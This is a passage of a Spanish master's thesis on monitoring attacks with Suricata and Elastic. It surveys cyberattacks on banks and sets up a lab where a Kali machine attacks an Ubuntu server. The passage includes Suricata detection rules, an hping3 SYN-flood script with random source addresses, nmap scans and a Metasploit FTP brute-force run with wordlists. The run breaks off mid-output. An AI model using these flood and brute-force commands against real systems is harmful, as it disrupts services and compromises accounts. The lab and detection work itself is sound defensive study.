tenia actualizado alguno de sus programas o sistema operativo, y “gracias” a esto, los

atacantes han podido acceder al sistema.
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llustracion 20: Imagen publicada en el comunicado de Phineas Fisher

Fuente: https://unicornriot.ninja/2019/massive-hack-strikes-offshore-cayman-national-bank-and-trust/

4.2.3. Segur Caixa Adeslas sufre un ataque ransomware que afecta a
millones de usuarios [11]

Esta noticia fue publicada por el diario “Merca2” el 10 de octubre de 2020. La
noticia habla de un ataque de ransomware que sufrieron sus servidores. No llegé a
afectar a la entidad financiera, pero si, a la division de Segur Caixa Adeslas la cual

cuenta con unos 5,6 millones de asegurados.

Cabe recordar que la principal caracteristica del ransomware es la de cifrar los

archivos y pedir un rescate para poder recuperar la informacion.
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7€ SegurCaixa Adeslas

Lo sentimos, nuestra web no esta disponible en estos momentos.
Volvera a estar operativa proximamente.

Si lo necesitas, puedes ponerte en contacto con nosotros a través de los siguientes teléfonos:

Seguro de Salud Seguro de Auto

URGENCIAS
932593416 900301 900
902109 393

CONSULTAS, AUTORIZACIONES Y REEMBOLSOS 918337107
919191898 932753237
935181080 902 233 266
902 200 200

llustracion 21: Estado de la web el dia del ataque del ransomware

Fuente: https://adndelseguro.com/negocio/segurcaixa-adeslas-sufre-atague-ransomware/

4.2.4. Un fallo permitia a hackers hacerse pasar por el Banco Santander
[12]

Esta noticia fue publicada por “ADSL net” el 8 de mayo de 2020. La noticia habla
de que una de las filiales del Banco Santander, mas concretamente, Santander
Consumer Bank de Bélgica, tenia un dominio mal configurado de manera que los
ciberatacantes podian indexar los archivos que habia almacenado en él. El fallo
afectaba a un blog de la compafia, desde el que pudieron obtener las claves de la
API de Cloudfront. Este es un CDN creado por Amazon para alojar archivos de gran
tamafio. De esta manera los atacantes podian publicar los malware para que los

usuarios se los descargaran en sus dispositivos.

{"id":". m m","domain":"blog.santanderconsumerbank.be","accountId": "gm "”.- by e N pppe— |
— o | " L 1 BJ" "apiSecret": '@ B B g B
e o . = = - u == = »","cdn":
{"id":" m ',"date_added":"NFF |} I","zone_name" : " "l
ozl Ncdn_url? VR S o . s ,"origin_url":"blog.santanderconsumerbank.be","ext_id":"_
M= ", ext_url”:"s@ W w coalm ", "ext_ssl url”:"J S

llustracion 22: json con apikey de Cloudfront

Fuente: https://mikejrl.es/index.php/noticias/162-sequridad/51031-un-fallo-permitia-a-hackers-hacerse-pasar-
por-el-banco-santander.html
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4.2.5. Agujero en Caja Rural: difunden la clave de acceso, moévil e ‘email’
de cientos de clientes [13]

Esta noticia fue publicada por “El confidencial” el 10 de diciembre de 2019. La
noticia habla de la disfuncion de una base de datos de al menos 637 clientes con
informacion personal y privada como su nombre completo, su DNI, su correo
electronico, su numero de teléfono movil, la direccién de su casa y el hash de su
contrasefa para acceder a su banca ‘online’ que puede ser desencriptado. También
se desconoce si esa difusion corresponde a un ciberataque o a una brecha de datos
interna que ha dado lugar al acceso, filtracion y difusién de esta. En caso de deberse
a una brecha de datos, la entidad se enfrenta a una multa entre 50.000 y 60.000€ de

la Agencia Espafiola de Proteccion de Datos (AEPD)

- £9
ok mls

~ Aug 22
?;?v 2015

> &
llustracion 23: Entidad de Caja Rural

Fuente: https://www.elconfidencial.com/tecnologia/2019-11-30/hackeo-ruralvia-clientes-datos-dni-
clientes 2357727/

4.2.6. Armada Collective lanza ataques DDoS contra bancos griegos [14]

Esta noticia fue publicada por “Welive Security” el 1 de diciembre de 2015. La
noticia menciona que tres bancos griegos fueron blanco de ataques distribuidos de
denegacion de servicio (DdoS, del inglés Distributed denial of service), por parte de
cibercriminales que demandaron el pago de un rescate en bitcoins. Un DDoS es un
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ataque a un sistema de computadoras o red que causa que un Servicio 0 recurso sea
inaccesible a los usuarios legitimos. Al ser distribuido el ataque no se realiza desde
un Unico punto, sino que se lanza desde diferentes ubicaciones a un mismo obijetivo.
Este ataque logré impedir transacciones bancarias online por un periodo corto de
tiempo y no consiguieron comprometer la seguridad de los sistemas por lo que no se

vio afectada la informacién mas sensible.

a

l—ll--l L.-.ll-.l
:11:1:::1 1:1;:1:1:1

...l..ui:.&f' uu..x..j u..x..::...x...u..x.‘

llustracion 24: Ataque DDoS

Fuente: https://mi.certerus.com/knowledgebase/95/Ataque-DDoS.html

4.3.Analisis sobre los principales ataques que sufren las entidades
bancarias.

Habiendo hecho un repaso sobre las noticias que podemos encontrar sobre
ciberataques a entidades financieras actuales, vamos a desglosar cuales son los

principales ataques que sufren, y algunas razones de que esto sea asi.
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Attack Distribution (Top 10 2019)

Account Hijacking: 16.7%
Unknown: 12.0%

Targeted Attack: 10.7%

Malware/PoS Malware: 39.3% Vulnerability: 5.1%

Malicious Script Injection: 3.7%

Malicious Spam: 1.8%
DoS/DDoS: 1.7%
Fake Accounts/Pages: 1.5%
Misconfiguration: 1.1%
Other: 6.5%

llustracion 25: Grafico con TOP 10 de principales ciberataques

Fuente: https://www.hackmageddon.com/2020/01/23/2019-cyber-attacks-statistics/

4.3.1. Denegacion de Servicio (DDoS)

Segun varios informes, este tipo de ataque encabeza la lista de acciones mas
letales contra las empresas financieras. Como hemos mencionado anteriormente, este
tipo de ataque consiste en colapsar los servidores con el fin de dejar un recurso o
servicio inaccesible. Este ataque puede ser dirigido por bots, computadores infectados

controlados por el ciberatacante en diferentes ubicaciones.

Con este tipo de ataque no se puede sustraer informacién como tal, pero puede
hacer que la entidad pierda grandes cantidades de dinero por tener uno o varios

servicios interrumpidos.

4.3.2. Cbodigos dafinos en Puntos de Ventas

El malware también puede interceptar paquetes de datos en Puntos de Ventas
(PoS).
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Este tipo de ciberataques pueden llegar a desviar transacciones o leer datos de

tarjetas de débito/crédito.

La infeccion afecta a los sistemas de socios, como cadenas de supermercados,
centros comerciales etc. El desconocimiento de los operadores puede facilitar el
trabajo de los atacantes. Por lo general, se captura la informacion mediante peticiones

DNS y encubren las actividades dafiinas con software aparentemente inofensivo.

De los casos mas significativos en este tipo de ataques, podemos encontrar el
de “The Home Depot” [15] que puso en riesgo los datos y tarjetas bancarias de 70

millones de clientes y tuvo una duracion de 6 meses.

4.3.3. Watering Hole

Se ha convertido en uno de los ciberataques mas implementados de los ultimos
afos. Este método, infecta los sistemas corporativos a través de busquedas online.
Los atacantes observan el comportamiento que tienen los empleados en la web, redes
sociales, noticias etc. Los malware de este tipo son especialmente dificiles de rastrear

ya que redireccionan las direcciones IPs especificas.

Con este método, varios bancos polacos se infectaron a través de visitas a la

pagina de regulacion financiera.

Watering Hole Working :

v frequently visited by
the visitor.

Malware
Attacker gathers £ 2 penetrates to
information to > = vulnerable
launch the

Malware starts working

llustracion 26: Funcionamiento de Watering Hole.
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Fuente: https://www.researchgate.net/figure/Smart-Hackers-V-WATERING-HOLE-ATTACK-
TARGETS figl 327498192

4.3.4. Explotacion de vulnerabilidades

Es de las practicas mas clasicas para robar informacion de las entidades
financieras. Como he mencionado antes, los ciberatacantes aprovechan alguna
vulnerabilidad que ha podido aparecer en un software o el sistema operativo. Si el
empleado responsable de dicho dispositivo no actualiza el programa para resolver la
vulnerabilidad, el equipo queda expuesto a ser atacado. Una vez dentro del sistema,

es facil moverse por toda la organizacion.

4.3.5. Phishing

También comentado anteriormente, el principal objetivo en este caso es la
cartera de clientes. El objetivo es hacerse pasar por una entidad financiera, por
ejemplo, y de esta forma robar los datos de los clientes. Cabe recordar, que es facil
que estos ultimos no tengan muchos conocimientos sobre seguridad informética, lo

cual facilita la intrusién del atacante.
Los métodos habituales para el phishing son:

e Correo electronico.
e Formularios on-site.
e Fan pages.

e Cualquier otro método de comunicacion con el banco.

4.4.Manera de prevenir ataques
Las estrategias preventivas son la manera mas eficaz de combatir con los

ciberataques. Es importante conocer las vulnerabilidades que tenemos, asi como las

amenazas a las que estamos expuestos y lo mas importante; los intereses que podrian
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llevarnos a ser victimas, es decir, lo valiosa que puede ser la informacién de la que

disponemos.

Existen una serie de estrategias que podrian ser Utiles:

Estudio de ataques referentes al sector. Es decir, qué ataques se han

llevado a cabo y como se podrian prevenir.

e Integracion de un equipo de Pentesting, el cual haga simulaciones de
ciberataques en la organizacién y de esa forma pueda conocerse todas
las vulnerabilidades existentes.

e Realizar actualizaciones periddicas de todo el software que contengan los
sistemas.

e Utilizacion de herramientas como software SIEM y/o escaner de
debilidades.

e Monitorizar toda la actividad dentro de la empresa, por ejemplo, para

evitar fugas de informacion (data loss prevention), redes, acceso de

usuarios etc.
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5. CAPITULO 5: PUESTA EN MARCHA

En este capitulo se explica paso a paso la implementacion de un supuesto
practico, en el cual un atacante intentara robar cierta informacion de los clientes de
una entidad bancaria. Toda la monitorizacion se enviara a Elasticsearch mediante uno

de sus mddulos, Filebeat y se visualizara en unos dashboard disefiados en Kibana.

5.1. Preparacion del entorno

Para la creacién del entorno he optado por utilizar maquinas virtuales, ya que
hardn que la simulacion parezca lo mas real posible. Una maquina virtual es un
software que simula un sistema de computacion y puede ejecutar programas como Si

fuese una computadora real.

Existen diferentes programas encargados de virtualizar maquinas virtuales.

Estos son algunos de los mas conocidos:

e VirtualBox: software de virtualizacién para arquitecturas x86/amd64. Es
desarrollado por Oracle Corporation. Entre los sistemas operativos
soportados podemos encontrar GNU/Linux, Mac OS, Windows Yy
Solaris/OpenSolaris. [16]

e Vmware: es una filial de EMC Corporation, que a su vez es propiedad de
Dell Inc. Es un software de virtualizacién disponible para ordenadores
compatibles x86. Puede funcionar tanto en Windows, Linux y en la
plataforma macOS que corre en procesadores Intel.[17]

e Parallels: software principalmente desarrollado para la virtualizacién en

macOS de aplicaciones de Windows.[18]
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llustracion 27: Maquinas virtuales.

De los softwares mencionados anteriormente he optado por utilizar Virtualbox,
ya que es compatible con la arquitectura, x64, de mi ordenador anfitrion, con el sistema
operativo, Windows 10, y soporta los dos sistemas operativos que utilizaré para las
maquinas virtuales; Kali Linux y Ubuntu 20.04. Este software podremos descargarlo

de manera gratuita en su pagina oficial [19]

llustracion X: Detalle del sistema anfitrién

Sisterna
Procesadorn Intel(R) Core(TM) i7-7700HC CPU @ 2.80GHz 2.80 GHz
Memona instalada (RAM): 16,0 GB (15,9 GE utilizable)
Tipo de sistemna: Sisterna operativo de 64 bits, procesador x64
Lapiz y entrada tactil: La entrada tactil o manuscrita no esta disponible para esta pantalla

llustracion 28: Detalle del sistema anfitrién

Para continuar, vamos a descargar los dos sistemas operativos mencionados
anteriormente. Uno de ellos simulara ser el servidor web de una entidad bancaria, el
cual albergara un sitio web publico a los clientes y por otra parte un host que simulara

ser el atacante, que quiere tener acceso al servidor para robar informacion.

Para el primer caso, usaré un sistema operativo Ubuntu 20.04, el cual he
descargado de su sitio oficial [20]. Ubuntu es una distribucién de Linux basada en
Debian de software libre y codigo abierto. Puede correr como computador de escritorio

0 como servidor. Su version mas reciente es la 20.04 que fue lanzada el 23 de abril
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de 2020. La eleccion de este sistema operativo se debe entre otras cosas a que es un
software libre y fue lanzado el 20 de octubre de 2004, lo que quiere decir que es lo
bastante maduro para tener una amplia documentacion. Otra de las razones es su

facilidad de uso, gracias a su intuitiva interfaz grafica.

-
Nt

llustracion 29: Logotipo del sistema operativo Ubuntu.

Fuente: https://www.muylinux.com/2020/05/07/antes-de-instalar-ubuntu/

Para el equipo del atacante he seleccionado Kali Linux (2019.4), el cual puede
ser descargado gratuitamente de su sitio oficial [21]. Es una distribucion Linux basada
en Debian disefiado principalmente para la auditoria y seguridad informatica en
general. Fue lanzado el 13 de marzo de 2013 por la empresa Offensive Security Ltd.
Trae preinstalados mas de 600 programas, como Nmap (para escaneos de puertos)
o Wireshark (sniffer) destinados a pruebas de penetracion y hacking ético. Por estas

razones, es el sistema operativo idéneo para la simulacién.
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llustracion 30: Escritorio sistema operativo Kali Linux

5.2. Configuracion del entorno

Para comenzar, haremos un analisis entre los principales IDS/IPS que existen

en el mercado:

5.2.1. IDS/IPS

5.2.1.1. Snort

Es un sistema de prevencion de intrusiones (IPS) de cddigo abierto. Fue creado
por Martin Roesch en 1998. Su principal ventaja es la capacidad para realizar analisis
de tréfico en tiempo real y el registro de paquetes en redes. Es bastante utilizado para
detectar gusanos, exploits, exploracion de puertos y otras muchas amenazas

maliciosas. [22]
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llustracion 31: Snort

Fuente: https://www.welivesecurity.com/la-es/2014/01/13/primeros-pasos-implementacion-ids-snort/

5.2.1.2. Security Onion

Esta distribuido por Linux. Su objetivo es el monitoreo de seguridad de red y
administracion de registros. Proporciona alta visibilidad y contexto al trafico de la red,
alertas y actividades sospechosas. Sin embargo, se necesita una gestion adecuada
por parte del administrador para actualizar periédicamente las reglas de deteccion
basadas en IDS. Sus tres funciones principales son la captura completa de paquetes,

IDS basados en host y herramientas de analisis. [23]

llustracion 32: Funcionalidad Security Onion

Fuente: http://www.idz.vn/2016/09/how-to-setup-security-onion-on-home.html

5.2.1.3. Suricata
Suricata es un motor de amenazas de red maduro, rapido, gratuito y de cédigo

abierto. Es capaz de detectar y prever intrusiones en tiempo real. Inspecciona el trafico

de la red utilizando un lenguaje de firmas y reglas. Con formato de entradas y salidas
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estandar como YAML y Json, hacen que la integracién con herramientas como SIEM,

Splunk o Elastic se vuelvan faciles.[24]

SU R&ATA

llustraciéon 33: Suricata

Fuente: https://ubunlog.com/suricata-4-0-supervisa-el-trafico-de-la-red/

5.2.1.4. AIDE

Fue desarrollado por Rami Lehti y Pablo Virolainen. Es considerado como una
de las herramientas mas poderosas para monitorear cambios en sistemas UNIX o
Linux. AIDE crea una base de datos a través de reglas de expresion regular que
encuentra en los archivos de configuracion. Al inicializar la base de datos, se verifica

la integridad de los archivos.[25]

AIDE

(Advanced Infrusion
Detaction Environmeant)

llustracion 34: Aide

Fuente: https://linuxaarif.blogspot.com/2013/04/aide-installation-and-configuration.htmi

5.2.1.5. OSSEC

Es un software de codigo abierto y gratuito. Ofrece deteccion integral de
intrusiones basada en host en multiples plataformas como: Windows, Mac, Linux, etc.
Detecta y alerta sobre la modificacion no autorizada de archivos del sistema al igual

gue de comportamiento malicioso que no cumplan las normas. [26]
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& OSSEC

llustracion 35: OSSEC

Fuente: https://www.ossec.net/

Después de este andlisis he decidido utilizar Suricata. Esto se debe a diferentes

razones:

e Es un software libre, facil de utilizar y con una amplia documentacion
sobre sus firmas. Detecta intrusiones en tiempo real, lo que me servira
para monitorizar un intento de ataque hacia el servidor.

e Posee formatos de entrada y de salida como JSON, lo que facilita la
integracion con Elastic.

¢ Filebeat posee un médulo para la lectura de monitorizacion e integracion

en Elastic.

5.2.2. Firmas/Reglas en Suricata

Las firmas en Suricata funcionan como el core del IDS. Son un conjunto de
reglas, definidas en un fichero de configuracion, gracias a las cuales se puede actuar
de diferentes formas ante una deteccion. En una firma, se define el evento que se va

a detectar y la forma de actuar cuando esto ocurra. Consta de la siguiente estructura:

e La accion: determina lo que sucede cuando la firma coincide.

e El encabezado: define el protocolo, la direccién IP, puertos y direccion de
la regla.

e Las opciones de la regla: define los detalles de la regla, como por ejemplo

el mensaje de una alerta.
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Este es un ejemplo de firma:

e alert icmp $ EXTERNAL_NET any -> $ HOME_NET any (msg: "GPL
SCAN Broadscan Smurf Scanner"; classtype: intent-recon; sid:
2100478; rev: 4 ;)

La primera palabra determina la accion que tomara Suricata cuando se detecte

el evento. Existen estas opciones:

e Alert: genera una alerta
e Pass: detener la inspeccion adicional del paquete.
e Drop: eliminar el paquete y generar una alerta.

e Reject: envia un RST/ICMP de error al emisor del paquete.

Dentro del encabezado puedes elegir entre estos diferentes keywords:

e IP

e TCP

e UDP

e ICMP
e FTP

e SSH

e HTTP/HTTPS

e efc

Podemos encontrar toda la documentacion respecto a las firmas en la web de
Suricata [27].

Sabiendo esto, he definido 4 reglas:

La primera regla, detecta el envio de un paquete de tipo ICMP, tanto producido

del exterior al interior como viceversa. Cuando el evento es detectado se envia una
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alerta clasificando el evento como “icmp-event”, con mensaje “ICMP test detected”, de
tipo echo, con identificador “10000001”.

e alert icmp any any -> any any (msg:"ICMP test detected"; itype:8;
sid:10000001; rev:001; classtype:icmp-event;)

La segunda regla, detecta eventos del exterior hacia nuestro servidor usando el
protocolo TCP. Si se detecta este evento 30 veces durante un tiempo de 60 segundos,
podemos afirmar que es un escaneo de puerto, por lo tanto, enviamos una alerta
clasificando el evento como “web-application-attack”, con mensaje “TCP Port
Scanning” e identificador: “10000002”.

e alerttcp SEXTERNAL_NET any -> $3HOME_NET any (msg:"TCP Port
Scanning";GID:1;sid:10000002;rev:001;classtype:web-application-

attack; detection_filter:track by_src, count 30, seconds 60;)

La tercera regla, detecta eventos del exterior hacia nuestro servidor y mas
concretamente al puerto 80 (HTTP) usando el protocolo TCP. Si se detecta este
evento unas 5000 veces durante un tiempo de 5 segundos, podemos afirmar que es
un ataque de DOS (denegacion de servicio), por lo tanto, enviamos una alerta
clasificando el evento como “attempted-dos”, con mensaje “Attack to webserver,
Potential DOS” e identificador: “10000003”.

e alert tcp SEXTERNAL _NET any -> $SHOME_NET 80 (msg:"Attack to
webserver, Potential DOS"; flow:to_server; flags: S,12; threshold:
type both, track by _dst, count 5000, seconds 5; classtype:attempted-
dos; sid:10000003;rev:001)

La dltima regla, detecta eventos desde nuestro servidor y el puerto 21 (usado
para FTP) hacia el exterior usando el protocolo TCP. Esto es asi, ya que cuando hacen
una peticion externa, para conectarse via FTP con usuario y contrasefia, el servidor
de origen devuelve un paquete indicando si las credenciales son correctas o no. En
caso de no serlo el paguete devuelto contiene un error 503. Si se detecta este evento
unas 3 veces durante un tiempo de 20 segundos, podemos afirmar que es un ataque

de fuerza bruta para averiguar las credenciales, por lo tanto, enviamos una alerta

Escuela Politécnica Superior de Jaén pag. 64



Marcos David Moreno Torres Estudio y puesta en practica de Elastic

clasificando el evento como “misc-activity”, con mensaje “FTP Brute Force Attempt” e
identificador: “10000004”.

e alert tcp $HOME_NET 21 -> any any (msg:"FTP Brute Force
Attempt”;flow:from_server,established; content:"530 "; nocase;
offset:0; depth:4; detection_filter:track by_src, count 3, seconds 20;

sid:1000004; rev:6; classtype:misc-activity;)

La ruta del fichero de configuracién para definir las reglas est4 en la ruta:
“/var/lib/suricata/rules”. En este caso yo he definido un nuevo fichero llamado

“my.rules”, el cual debo indicar en el “.yaml” de Suricata.

default-rule-path: /var/lib/suricata/rules

rule-files:
- Hy.rules

llustracion 36: Configuracion rules Suricata

5.2.3. Servidor FTP

Es un protocolo de red para la transferencia de archivos entre sistemas
conectados a una red TCP basado en la arquitectura cliente-servidor. Desde un
equipo cliente se puede conectar a un servidor para descargar archivos desde él o
para enviarle archivos. Vamos a proceder a instalar un servidor FTP dentro del

servidor de Ubuntu como complemento para el caso préactico.

Para comprobar que el servidor ftp esta levantado, vamos a intentar conectar

desde la maquina anfitriona.

llustracion 37: Conexiéon FTP
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Podemos ver que efectivamente el servicio estad en funcionamiento, y que
necesitamos las credenciales de acceso para conectar, en este caso, son tanto el
usuario como el password para que hay habilitados en el servidor de Ubuntu.

5.2.4. Servidor Web

Es un programa informéatico que procesa una aplicacion del lado del servidor,
realizando conexiones bidireccionales o unidireccionales y sincronas o asincronas con
el cliente y generando o cediendo una respuesta en cualquier lenguaje o aplicacién
del lado del cliente. El codigo recibido por el cliente es renderizado por un navegador
web. Para la transmision de todos estos datos suele utilizarse algun protocolo.
Generalmente se usa el protocolo HTTP para estas comunicaciones, perteneciente a
la capa de aplicacion del modelo OSI.

Existen diferentes programas que podemos utilizar para instalar un servidor web.

Estos son algunos de los méas conocidos:

e Apache

¢ Nginx

e Microsoft IIS
e NodeJS

Vamos a proceder a instalar un servidor web dentro del servidor de Ubuntu como

complemento para el caso practico. Le afiadiremos una pagina estatica HTML.
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@ TFMBank x +
€ > C O A Noesseguro | 192.1680.15 * » @ :

i1 Aplicaciones i} The official Dilbert... Plugin kibana 776 [ Instalacion y Config... Informacion tig €@ ERASMUS + Framework » Otros marca dores

TFM Bank

Home Cuentas Contacto

Banco creado para personas

El objetivo de este banco es garantizar la satisfaccion de las personas.

llustraciéon 38: Web HTML estatica

Cabe destacar que no es una buena practica dejar el servidor web funcionando
en el puerto 80. Esto se debe entre otras cosas a que la informacion viaja desde el
cliente al servidor en texto plano, por lo que podria ser facil para un atacante capturar
algun paquete de red que contenga las credenciales de acceso a la web u otro tipo de
informacion relevante. Por lo tanto, para estos casos siempre debe utilizarse el puerto
443 que usa el protocolo de red HTTPS con el cual la informacion viaja cifrada entre
el cliente y el servidor. Para este caso y ya que es una web de ejemplo y estatica, se

va a quedar funcionando con HTTP.

5.2.5. Kali Linux

En este apartado se veran las diferentes herramientas utilizadas para que el IDS

sea capaz de detectar los eventos que hemos declarado.
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5.25.1. Ping

Es un programa utilizado para el diagnéstico en redes de computadores, el cual
comprueba el estado de la comunicacion entre una maquina anfitriona con uno o mas
equipos remotos. Se basa en el envio de paquetes ICMP de solicitud (ICMP Echo

Request) y de respuesta (ICMP Echo Reply).

Si lanzamos el programa ping sobre el servidor con Ubuntu, vemos que
obtenemos respuesta, por lo tanto, es accesible y, es mas, si accedemos al fichero

“fast.log” de Suricata podremos visualizar la alerta del evento:

:~# ping 192.168.0.15
PING 192.168.0.15 (192.168.08.15) 56(84) bytes of data.
64 bytes from 192.168.0.15: icmp_seqg=1 ttl=64 time=3.41 ms

64 bytes from 192.168.0.15: icmp_seq=2 ttl=64 time=0.631 ms
64 bytes from 192.168.0.15: icmp_seq=3 ttl=64 time=0.791 ms
64 bytes from 192.168.0.15: icmp_seq=4 ttl=64 time=0.741 ms

llustracion 39: Ping contra servidor Ubuntu

11/15/2020-12:42:10.104581 [**] [1:10000001:1] ICMP test detected [**] [Classification: Generic

ICMP event] [Priority: 3] {ICMP} 192.168.0.203:8 -> 192.168.0.15:0
llustracion 40: Alerta de Suricata a paguete ICMP

5.2.5.2. Nmap

Es un programa de codigo abierto que sirve para efectuar rastreo de puertos. Se
usa para evaluar la seguridad en sistemas informéticos, asi como para descubrir
servicios o servidores en una red informatica. Para ello Nmap envia unos paquetes

definidos a otros equipos y analiza sus respuestas.

Si lanzamos este programa contra el servidor de Ubuntu este es el resultado:
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:~# nmap 192.168.0.15
Starting Nmap 7.80 ( https://nmap.org ) at 2020-11-15 08:11 EST
Nmap scan report for 192.168.0.15
Host is up (0.@00045s latency).
Mot shown: 998 closed ports
PORT  STATE SERVICE

21/tcp open ftp
80/tcp open http
MAC Address: @8:00:27:42:1E:6D (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 13.41 seconds
llustracion 41: Escaneo de puertos a servidor de Ubuntu

Podemos ver que ha reflejado que tenemos un servidor ftp y otro web (HTTP).
Por otra parte, Suricata ha sido capaz de capturar el evento y lanzar una alerta:

11/15/2020-12:43:25.363412 [**] [1:10000002:1] TCP Port Scanning [**] [Classification: Web Application

Attack] [Priority: 1] {TCP} 192.168.0.203:35283 -> 192.168.0.15:37
llustracion 42: Deteccion de escaneo de puerto Suricata

5.2.5.3. hping3

Hping3 es una aplicacion de terminal para Linux que nos va a permitir analizar y
ensamblar facilmente paquetes TCP/IP. A diferencia de un Ping convencional que se
utiliza para enviar paquetes ICMP, esta aplicacion permite el envio de paquetes TCP,
UDP y RAW-IP.

Junto al andlisis de los paquetes, esta aplicacion puede ser utilizada también con
otros fines de seguridad, por ejemplo, para probar la eficacia de un firewall a través
de diferentes protocolos, la deteccidon de paquetes sospechosos o modificados, e

incluso la proteccion frente a ataques DoS de un sistema o de un Firewall.

Aprovechando la utilidad de esta herramienta, la utilizaremos para realizar un
ataque DOS contra el servidor web, de manera que dejaremos el sitio web inaccesible
mientras se realiza dicho ataque. Para la ejecucion, he creado un script en Python con

el siguiente contenido:

os

arget_ip = "192.168.0.15"
0s.system("hping3 -c 10000 -d 120 -S -w 64 -p 80 --flood ——rand-source "+target_ip)|
llustracion 43: Ataque Dos |

Escuela Politécnica Superior de Jaén pag. 69



Marcos David Moreno Torres Estudio y puesta en practica de Elastic

Por una parte, declaramos la direccion IP objetivo, que en este caso sera el

servidor de Ubuntu. Y como parametros al comando hping3:

e -c 10000: numero de paquetes.

e -d 120: tamafio del paquete (data size).

e -S: envio de paquetes bajo el protocolo TCP.

e -w 64: es el tamafio de la ventana TCP.

e -p 80: puerto destino.

e --flood: envia paquetes tan rapido como sea posible y no muestra
réplicas.

e --rand-source: Aleatoria direccion de origen del paquete.

Si lanzamos el script, vemos como el servicio queda inaccesible:

= # pyt _ .py
HPING 192.168.0.15 (eth® 192.168.0.15): S set, 4@ headers + 120 data bytes

hping in flood mode, no replies will be shown

llustracion 44: Ataque Dos Il

No se puede acceder a este sitio web

La pagina 192.168.0.15 ha rechazado la conexion.

Prueba a:
e Comprobar la conexion
e Comprobar el proxy y el cortafuegos

ERR_CONNECTION_REFUSED

llustracion 44: Web no accesible después de ataque Dos

Y como Suricata ha capturado el evento:
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1/15/2020-12:55:18.216752 [**] [1:10000003:1] Attack to webserver, Potential DOS [**] [Classification

: Attempted Denial of Service] [Priority: 2] {TCP} 25.14.104.196:37362 -> 192.168.0.15:80
llustracion 45: Alerta de Suricata al ataque Dos

5.2.5.4. Metasploit

Es un proyecto de cédigo abierto para la seguridad informatica, que proporciona
informacion acerca de vulnerabilidades de seguridad y ayuda en test de penetracion
“Pentesting” y el desarrollo de firmas para IDS. Dentro de este proyecto podemos
encontrar “Metasploit Framework”, desarrollado con la finalidad de desarrollar y
ejecutar exploit contra maquinas remotas. Dentro de este Ultimo podemos encontrar
un exploit que se utiliza para realizar ataques de fuerza bruta a servidores ftp. Para
ello comenzaremos definiendo dos ficheros, uno con las posibles combinaciones de

usuarios y otro con los posibles password tal que asi:

[root/Desktepfusers.txt - Mousepad

File Edit Search View Document Help

Warning, you are using the root account, you may harm your system.
admin
root
marcos
marcos-moreno
pepe

llustracion 46: Diccionario de usuarios

Ireot/Desktop/pass.txt - Mousepad

File Edit Search View Document Help

Warning, you are using the root account, you may harm your system.
toor
admin
1234
gwert
tfm.2020

llustracion 47: Alerta de password

El exploit se encargara de probar todas las combinaciones posibles de estos dos
ficheros. Para ejecutarlo en primer lugar abrimos “Metasploit Framework” con la orden

“msfconsole”:
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: # msfconsole
**%prting thE Metasploit Framework console...\

* WARNING: No database support: No database YAML file
*hk

IIIIII
II
II
II
II

IIIIII

I love shells —egypt

=[ metasploit v5.0.60-dev
+ — —=[ 1947 exploits - 1089 auxiliary - 333 post
+ — —=[ 556 payloads - 45 encoders - 10 nops
+ — —=[ 7 evasion

llustracion 48: Framework metasploit

Una vez dentro del framework podemos buscar todos los exploit que existen
contra servidores ftp, con el comando “search ftp”. El resultado es mas de 150 exploit,
con la fecha de descubrimiento, el ranking de vulnerabilidad que tiene y una

descripcion del funcionamiento de este. Estos son algunos ejemplos:

msf5 > search ftp

Matching Modules

Name Disclosure Date Rank Check Description

auxiliary/adnin/cisco/vpn_3000_ftp_bypass 2006-08-23 normal Cisco VPN Concentrator 300 FTP Unauthorized Administrative Access

#
)
1 auxiliary/admin/officescan/tmlisten_traversal normal TrendMicro OfficeScanNT Listener Traversal Arbitrary File Access
2 auxiliary/admin/tftp/tftp_transfer_util normal TFTP File Transfer Utility

3 auxiliary/dos/scada/d20_tftp_overflow 2012-01-19 normal General Electric D2OME TFTP Server Buffer Overflow DoS

llustracion 49: Configuracion metasploit |

Para este caso vamos a utilizar “auxiliary/scanner/ftp/ftp_login”, el cual se utiliza
para escaneos de autenticacion en ftp. Para ejecutar este exploit primero debemos
indicar que queremos utilizarlo con “use auxiliary/scanner/ftp/ftp_login”. Si usamos
“show options” podemos ver los parametros que debemos definir antes de usar este

exploit. Estos son parametros que voy a utilizar:

e set RHOST 192.168.0.15: Indica la direccion IP del objetivo.
e set USER_FILE /path/users.txt: Indica la ruta del fichero con las

combinaciones de usuario.
e set PASS FILE /path/pass.txt: Indica la ruta del fichero con las

combinaciones de password.
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msf5 > use auxiliary/scanner/ftp/ftp_login
msf5 auxiliary(

Estudio y puesta en practica de Elastic

) > show options

Module options (auxiliary/scanner/ftp/ftp_login):

Name
BLANK_PASSWORDS
BRUTEFORCE_SPEED
DB_ALL_CREDS
DB_ALL_PASS
DB_ALL_USERS
PASSWORD
PASS_FILE
Proxies
RECORD_GUEST
RHOSTS

RPORT
STOP_ON_SUCCESS
THREADS
USERNAME
USERPASS_FILE
USER_AS_PASS
USER_FILE
VERBOSE

Current Setting

false

false

21
false
1

yes
no
no

Required Description

Try blank passwords for all users

How fast to bruteforce, from @ to 5

Try each user/password couple stored in the current database

Add all passwords in the current database to the list

Add all users in the current database to the list

A specific password to authenticate with

File containing passwords, one per line

A proxy chain of format type:host:port[,type:host:port][...]

Record anonymous/guest logins to the database

The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
The target port (TCP)

Stop guessing when a credential works for a host

The number of concurrent threads (max one per host)

A specific username to authenticate as

File containing users and passwords separated by space, one pair per line
Try the username as the password for all users

File containing usernames, one per line

Whether to print output for all attempts

llustracion 50: Configuracion metasploit Il

Una vez definidos los parametros, lanzaremos el exploit con la orden “exploit” y

podemos ver el resultado:

msf5 auxiliary(

192.168.
[!] 192.168.
192.168.
192.168.
192.168.
192.168.
192.168.
192.168.
192.168.
192.168.

192.168.
192.168.
192.168.

(=0~~~ O~~~ -~ -~ -~ -~ -~ -~ O~~~ -~~~ -~ )

.15:
.15:

)

192.168.0.

No active
192.168.
192.168.
192.168.
192.168.
192.168.
192.168.
192.168.
192.168.
192.168.
192.168.
192.168.
192.168.

2955995959550 9 0999999

>

15:

DB

exploit

21 - Starting FTP login sweep
Credential data will not be saved!

LOGIN FAILED: admin:toor (Incorrect: )

LOGIN FAILED: admin:admin (Incorrect: )

LOGIN FAILED: admin:1234 (Incorrect: )

LOGIN FAILED: admin:qwert (Incorrect: )

LOGIN FAILED: admin:tfm.2020 (Incorrect: )

LOGIN FAILED: root:toor (Incorrect: )

LOGIN FAILED: root:admin (Incorrect: )

